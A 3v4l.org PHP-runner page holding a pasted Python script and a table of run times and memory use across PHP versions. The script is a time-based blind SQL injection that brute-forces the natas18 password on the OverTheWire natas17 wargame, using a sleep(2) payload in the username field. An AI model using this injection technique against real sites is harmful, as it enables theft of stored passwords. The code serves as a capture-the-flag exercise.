3v4l.org

run code in 300+ PHP versions simultaneously
<? #!/usr/bin/python import httplib2 import urllib import time h = httplib2.Http() h.add_credentials('natas17', '********************************') baseStr = "" char = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" index = 0 while index < len(char): query = urllib.urlencode(dict(username="natas18\" AND if(password LIKE BINARY \"" + baseStr + char[index] + "%\", sleep(2), 0);# ")) StartTime = int(time.time()) resp, content = h.request("http://natas17.natas.labs.overthewire.org/index.php?" + query, method="POST") EndTime = int(time.time()) lapse = EndTime - StartTime if lapse >= 2: baseStr += char[index]; print("New Password: " + baseStr) index = 0 continue index += 1?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.70.0070.00716.50
8.3.60.0150.00618.43
8.3.50.0030.01521.07
8.3.40.0200.00018.50
8.3.30.0100.00318.79
8.3.20.0040.00420.20
8.3.10.0000.00723.51
8.3.00.0080.00019.25
8.2.180.0060.01216.32
8.2.170.0100.00322.96
8.2.160.0030.01020.52
8.2.150.0080.00024.18
8.2.140.0050.00324.66
8.2.130.0040.00426.16
8.2.120.0040.00419.44
8.2.110.0170.00720.33
8.2.100.0040.00817.63
8.2.90.0000.00819.22
8.2.80.0000.00817.97
8.2.70.0000.00817.38
8.2.60.0000.00917.80
8.2.50.0040.00418.07
8.2.40.0040.00419.88
8.2.30.0040.00417.84
8.2.20.0050.00317.50
8.2.10.0040.00417.83
8.2.00.0090.00017.61
8.1.280.0070.00725.92
8.1.270.0060.00323.85
8.1.260.0040.00426.35
8.1.250.0040.00428.09
8.1.240.0030.00619.14
8.1.230.0030.00719.16
8.1.220.0040.00417.74
8.1.210.0040.00418.77
8.1.200.0000.01017.13
8.1.190.0000.00816.98
8.1.180.0040.00418.10
8.1.170.0030.00620.21
8.1.160.0070.00021.85
8.1.150.0000.00718.75
8.1.140.0040.00417.31
8.1.130.0070.00017.76
8.1.120.0040.00417.21
8.1.110.0040.00417.35
8.1.100.0030.00317.18
8.1.90.0000.00717.33
8.1.80.0040.00417.38
8.1.70.0040.00417.32
8.1.60.0000.00717.43
8.1.50.0000.00817.26
8.1.40.0050.00317.36
8.1.30.0030.00617.46
8.1.20.0050.00317.48
8.1.10.0040.00417.43
8.1.00.0050.00317.35
8.0.300.0000.00718.77
8.0.290.0000.00716.63
8.0.280.0030.00318.43
8.0.270.0000.00817.07
8.0.260.0000.00617.30
8.0.250.0030.00316.72
8.0.240.0030.00316.85
8.0.230.0030.00316.83
8.0.220.0000.00616.63
8.0.210.0030.00316.64
8.0.200.0000.00616.83
8.0.190.0000.00716.70
8.0.180.0030.00516.75
8.0.170.0040.00416.71
8.0.160.0030.00316.73
8.0.150.0070.00016.69
8.0.140.0000.00716.70
8.0.130.0000.00613.40
8.0.120.0000.00816.71
8.0.110.0080.00016.67
8.0.100.0080.00016.64
8.0.90.0040.00416.63
8.0.80.0000.02016.82
8.0.70.0000.00716.75
8.0.60.0060.00316.82
8.0.50.0070.00016.55
8.0.30.0100.01016.98
8.0.20.0130.00817.40
8.0.10.0000.00716.87
8.0.00.0130.00516.66
7.4.330.0050.00015.14
7.4.320.0000.00616.35
7.4.300.0070.00016.47
7.4.290.0070.00016.51
7.4.280.0000.00816.36
7.4.270.0030.00316.52
7.4.260.0050.00316.31
7.4.250.0030.00516.34
7.4.240.0020.00516.43
7.4.230.0020.00516.28
7.4.220.0070.01016.32
7.4.210.0060.00816.43
7.4.200.0070.00016.55
7.4.160.0060.00916.45
7.4.150.0190.00017.40
7.4.140.0100.00717.86
7.4.130.0090.01116.40
7.4.120.0100.00616.43
7.4.110.0100.01016.32
7.4.100.0060.01216.29
7.4.90.0110.00716.60
7.4.80.0100.01019.39
7.4.70.0060.01116.35
7.4.60.0110.00416.36
7.4.50.0040.00416.16
7.4.40.0000.01616.30
7.4.30.0120.01016.09
7.3.330.0050.00013.00
7.3.320.0050.00013.25
7.3.310.0000.00715.95
7.3.300.0070.00016.12
7.3.290.0060.00816.11
7.3.280.0090.00716.13
7.3.270.0120.00617.40
7.3.260.0110.01116.32
7.3.250.0050.01316.31
7.3.240.0120.00616.11
7.3.230.0070.01016.46
7.3.210.0100.00616.11
7.3.200.0130.00319.39
7.3.190.0130.00316.44
7.3.180.0130.00316.35
7.3.170.0070.01416.27
7.3.160.0090.00616.20
7.2.330.0090.00916.49
7.2.320.0110.00616.33
7.2.310.0100.00716.37
7.2.300.0080.00816.52
7.2.290.0000.01816.51
5.4.340.0070.03512.01
5.4.320.0030.03812.45
5.4.310.0060.03712.45
5.4.300.0070.03412.45
5.4.290.0070.03712.45
5.4.280.0050.03512.35
5.4.270.0040.03712.34
5.4.260.0070.03612.35
5.4.250.0060.03912.35
5.4.240.0130.03712.35
5.4.230.0080.03812.34
5.4.220.0070.03612.34
5.4.210.0070.03312.34
5.4.200.0050.03712.34
5.4.190.0070.03612.34
5.4.180.0060.03712.34
5.4.170.0060.03512.34
5.4.160.0040.03712.34
5.4.150.0040.03712.34
5.4.140.0100.04212.02
5.4.130.0100.03112.00
5.4.120.0060.03411.96
5.4.110.0060.03411.96
5.4.100.0070.03311.96
5.4.90.0070.03711.96
5.4.80.0050.03711.97
5.4.70.0080.03111.96
5.4.60.0060.03511.96
5.4.50.0050.03711.96
5.4.40.0050.03711.95
5.4.30.0040.03711.95
5.4.20.0050.03611.95
5.4.10.0030.04511.95
5.4.00.0040.03711.44

preferences:
52.09 ms | 401 KiB | 5 Q